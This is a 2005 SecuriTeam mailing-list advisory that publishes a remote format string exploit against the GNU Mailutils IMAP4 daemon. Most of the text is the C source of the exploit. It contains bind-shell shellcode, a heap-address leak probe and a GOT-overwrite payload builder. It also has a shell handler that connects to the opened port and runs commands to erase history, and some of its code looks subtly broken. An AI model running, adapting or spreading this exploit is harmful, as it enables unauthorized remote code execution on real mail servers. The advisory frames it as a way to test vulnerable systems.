

[EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0032.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/12/05

To: list@securiteam.com

Date: 12 Jun 2005 11:15:14 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GNU Mailutils Remote Format String Exploit (IMAP4d)

SUMMARY

<<http://www.gnu.org/software/mailutils/>> GNU Mailutils is a collection of mail-related utilities. At the core of Mailutils is libmailbox, a library which provides access to various forms of mailbox files (including remote mailboxes via popular protocols).

GNU Mailutils IMAP4 daemon is vulnerable to a format string vulnerability, exploiting this vulnerability allows malicious attackers to run arbitrary code on vulnerable system, the following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

* gnu mailutils versions 0.5 to 0.6.90

Exploit:

/*

gun-imapd.c

Securiteam: [EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

gnu mailutils-0.5 - < mailutils-0.6.90 remote formatstring exploit

written and tested on FC3.

this is a first testing version and the onlyone to go public.

by qobaiashi@u-n-f.com

*/

```
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

// to be modified
#define GOT 0x080573fc

static char bindshell[]= //by pr1 bind to :4096
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x40" // inc %eax
"\x89\xc3" // mov %eax,%ebx
"\x40" // inc %eax
"\x53" // push %ebx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x43" // inc %ebx
"\x6a\x10" // push $0x10
"\x66\x53" // push %bx
"\x89\xe1" // mov %esp,%ecx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\xd1\xe3" // shl %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x58" // pop %eax
```

Securiteam: [EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

```
"\x52" // push %edx
"\x50" // push %eax
"\x43" // inc %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x87\xd9" // xchg %ebx,%ecx
"\x93" // xchg %eax,%ebx
"\x49" // dec %ecx
"\x31\xc0" // xor %eax,%eax
"\x49" // dec %ecx
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // inc %ecx
"\xe2\xf8" // loop 8048469 <blah>
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
;

/*****\
|***** handle remoteshell *****/
\*****/

int handleshell(int peersh)
{
    fd_set fds;
    char buff[2048];
    int ret, cntr = 1;

    printf(" |– enjoy your stay and come back soon ;>\n");

    write(peersh, "unset HISTFILE;id;uname -a;\n", 30);

    while(ret && cntr)
    {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(peersh, &fds);
        ret = select(peersh+1, &fds, 0, 0, 0);
        if(ret)
        {
            memset(buff, 0x0, sizeof(buff));
            if(FD_ISSET(peersh, &fds))
            {
```

Securiteam: [EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

```
cntr = read(peersh, buff, sizeof(buff)-1);
printf("%s", buff);
fflush(stdout);
}
if(FD_ISSET(0, &fds))
{
cntr = read(0, buff, sizeof(buff)-1);
write(peersh, buff, strlen(buff));
}
}
}
return 1;
}

/*****\
|***** HELP OUTPUT *****/
\*****/

void help()
{

printf(" `- usage: gun-imapd -p 143 -t www.exploits.cx \n");
exit(0);
}

/*****\
|***** CONNECT FUNC *****/
\*****/

int connectme(char* ip, unsigned short port)
{
int soquet;
struct sockaddr_in remoteaddr_in;
struct hostent* hostip;

memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in));
if ((hostip = gethostbyname(ip)) == NULL)
{
printf(" |- could not resolve [%s]\n", ip);
exit(-1);
}

remoteaddr_in.sin_family = AF_INET;
remoteaddr_in.sin_port = htons(port);
remoteaddr_in.sin_addr = *((struct in_addr *)hostip->h_addr);

if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf(" |- got no socket!\n");
exit(-1);
}
}
```

Securiteam: [EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

```
printf(" |- try connecting to [%s:%d] ...", ip, port);

if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct
sockaddr)) == -1)
{
printf(" no connection, exiting!\n");
exit(-1);
}

printf(" successfull!\n");
return(soquet);
}

/*****
|***** DO SPLOIT *****/
\*****/

int do_spoit(int soquet)
{
char buff[1024], *addr = 0;
int cntr = 0, *ptr, scaddr, gotaddr = GOT;
unsigned int w1, w2, w3;

//find heap with our shellcode: !experimental!
memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");

if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
memset(buff, 0x00, sizeof(buff));
read(soquet, buff, sizeof(buff)-1);
addr = strstr(buff, "[");
if(addr > 0)
{
scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk..
printf(" |- using %p\n", scaddr);
}
else printf(" |- !could not determine heap address..\n!");
//k build exploit now:

w3 = ( scaddr & 0xffff0000 ) >> 16;
w1 = ( scaddr & 0x0000ffff );

memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
memcpy(buff+400, bindshell, strlen(bindshell));
cntr = strlen(buff) + 3*4;
```

Securiteam: [EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

```
ptr = (int *)gotaddr;
memcpy((buff+496), &ptr,4);
ptr = (int *)gotaddr;
memcpy((buff+500), &ptr,4);
ptr = (int *)gotaddr+2;
memcpy((buff+504), &ptr,4);
w1 -= cnt;
w3 += (0x10000 - w1) - cnt;
sprintf(buff+508, "%p%p%p%p%p%p\n\r", w1, w3);
```

```
if(write(soquet, buff, strlen(buff)) == -1)
{
printf(" |- could not send packet!\n");
return -1;
}
//memset(buff, 0x00, sizeof(buff));
//read(soquet, buff, sizeof(buff));
```

```
return 1;
}
```

```
/******\
|***** MAIN *****|
/*****/
```

```
int main(int argc, char *argv[])
{
int tmp, socke, port = 143;
char *target = 0;
char banner[32];
```

```
printf(" . gun-imapd v0.1 by qobaiashi\n |\n");
memset(banner, 0x00, sizeof(banner));
```

```
while((tmp = getopt(argc, argv, "p:t:h")) != EOF)
{
switch (tmp)
{
case 'p':
port = atoi(optarg);
printf(" |- using port: %d\n", port);
break;
```

```
case 't':
target = optarg;
printf(" |- target host is: %s\n", optarg);
break;
```

```
case 'h': help();
}
```

Securiteam: [EXPL] GNU Mailutils Remote Format String Exploit (IMAP4d)

```
}  
if (target == NULL) help();  
socke = connectme(target, port);  
  
if (read(socke, banner, sizeof(banner)) > -1)  
{  
printf(" |- remote host is a %s", (banner+4));  
}  
  
do_spoit(socke);  
sleep(1);  
tmp = connectme(target, 4096);  
handleshell(tmp);  
  
close(tmp);  
close(socke);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:qobaiashi@u-n-f.com>>
qobaiashi.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.